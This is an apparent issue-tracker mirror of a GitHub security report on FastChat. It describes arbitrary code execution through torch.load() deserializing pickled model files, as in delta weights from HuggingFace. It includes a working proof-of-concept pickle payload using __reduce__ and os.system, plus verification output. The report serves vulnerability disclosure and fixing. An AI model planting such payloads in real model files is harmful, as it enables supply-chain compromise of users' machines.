lm-sys / lm-sys/FastChat

Pickle Deserialization RCE via torch.load()

Open
#3,777 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Dominant language
Python
Stars
39.5k
Forks
4.8k
PR merge metrics
No merged PRs in 30d

Description

Hello, FastChat uses `torch.load()` without the `weights_only=True` parameter in multiple locations. Since `torch.load()` internally uses Python's `pickle.load()`, this allows arbitrary code execution when loading malicious model files.

### Vulnerable Code - apply_delta.py

```python
# Line 37 - Loading base model files
state_dict = torch.load(file_path) # NO weights_only=True!

# Line 90 - Loading delta weights from HuggingFace repo
delta_state_dict = torch.load(delta_files[0]) # NO weights_only=True!

# Line 97 - Loading split base files
state_dict = torch.load(base_file) # NO weights_only=True!

# Line 102 - Loading delta files in loop
delta_state_dict = torch.load(delta_file) # NO weights_only=True!
```

### Vulnerable Code - compression.py

```python
# Line 189
tmp_state_dict = torch.load(
filename, map_location=lambda storage, loc: storage
) # NO weights_only=True!
```

### Root Cause

1. `torch.load()` uses `pickle.load()` internally for deserialization
2. Pickle can execute arbitrary Python code via `__reduce__` method
3. The `weights_only=True` parameter restricts loading to tensor data only
4. Without this parameter, any pickled Python object will be executed

## Attack Vector

### Via HuggingFace Model Repository

```bash
# Attacker creates malicious delta weights and uploads to HuggingFace
# Victim downloads and applies the delta:

python3 -m fastchat.model.apply_delta \
--base ~/models/llama-7b \
--target ~/models/vicuna-7b \
--delta attacker/malicious-delta-v1
```

### Attack Flow

1. **Preparation**: Attacker creates `pytorch_model-0.bin` with RCE payload
2. **Distribution**: Uploads to HuggingFace as fake "delta weights"
3. **Execution**: Victim runs `apply_delta` with malicious delta path
4. **RCE**: `torch.load()` deserializes pickle = arbitrary code execution

## Proof of Concept

### Malicious Payload Creator

```python
import pickle

class RCEPayload:
def __reduce__(self):
import os
return (os.system, ("id > /tmp/pwned",))

# Create malicious .bin file
state_dict = {"model.weight": RCEPayload()}
with open("pytorch_model-0.bin", "wb") as f:
pickle.dump(state_dict, f)

# When loaded with torch.load(), executes: id > /tmp/pwned
```

### Verification Output

```
[+] Found 4 vulnerable torch.load() calls:

Line 37: state_dict = torch.load(file_path)
Line 90: delta_state_dict = torch.load(delta_files[0])
Line 97: state_dict = torch.load(base_file)
Line 102: delta_state_dict = torch.load(delta_file)

[!] VULNERABILITY CONFIRMED: torch.load() without weights_only=True

============================================================
PICKLE DESERIALIZATION TEST
============================================================
[*] Created malicious pickle file: /tmp/test_model.bin
[*] RCE marker file: /tmp/fastchat_rce_test_1667176
[*] Loading malicious file with pickle.load()...
[+] pickle.load() executed successfully
[+] RCE VERIFIED! Created file with content: RCE_VIA_FASTCHAT
```

## Impact

- **Remote Code Execution**: Full system compromise via malicious model files
- **Supply Chain Attack**: Attackers can upload malicious models to HuggingFace
- **Data Exfiltration**: Access to all user data and credentials
- **Lateral Movement**: Pivot to other systems in corporate networks
- **Ransomware**: Encrypt user's machine learning infrastructure

Contributor guide

No contributing guide indexed for this repository

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start by inspecting the listed torch.load call sites in apply_delta.py and compression.py, including how base models and delta weights are loaded. Verify the expected loading behavior for legitimate model files and confirm that malicious pickle data is rejected; done means all identified vulnerable paths are covered without breaking valid model or delta loading.

Written by the indexing model from the issue text.

Assessment

Tech stack
huggingface, python, pytorch
Domain
machine-learning, security
Issue type
Bug
Difficulty
3/5
Estimated time
1-2 days
Activity status
Stale
Clarity
Clearly specified
Newbie friendliness
55/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.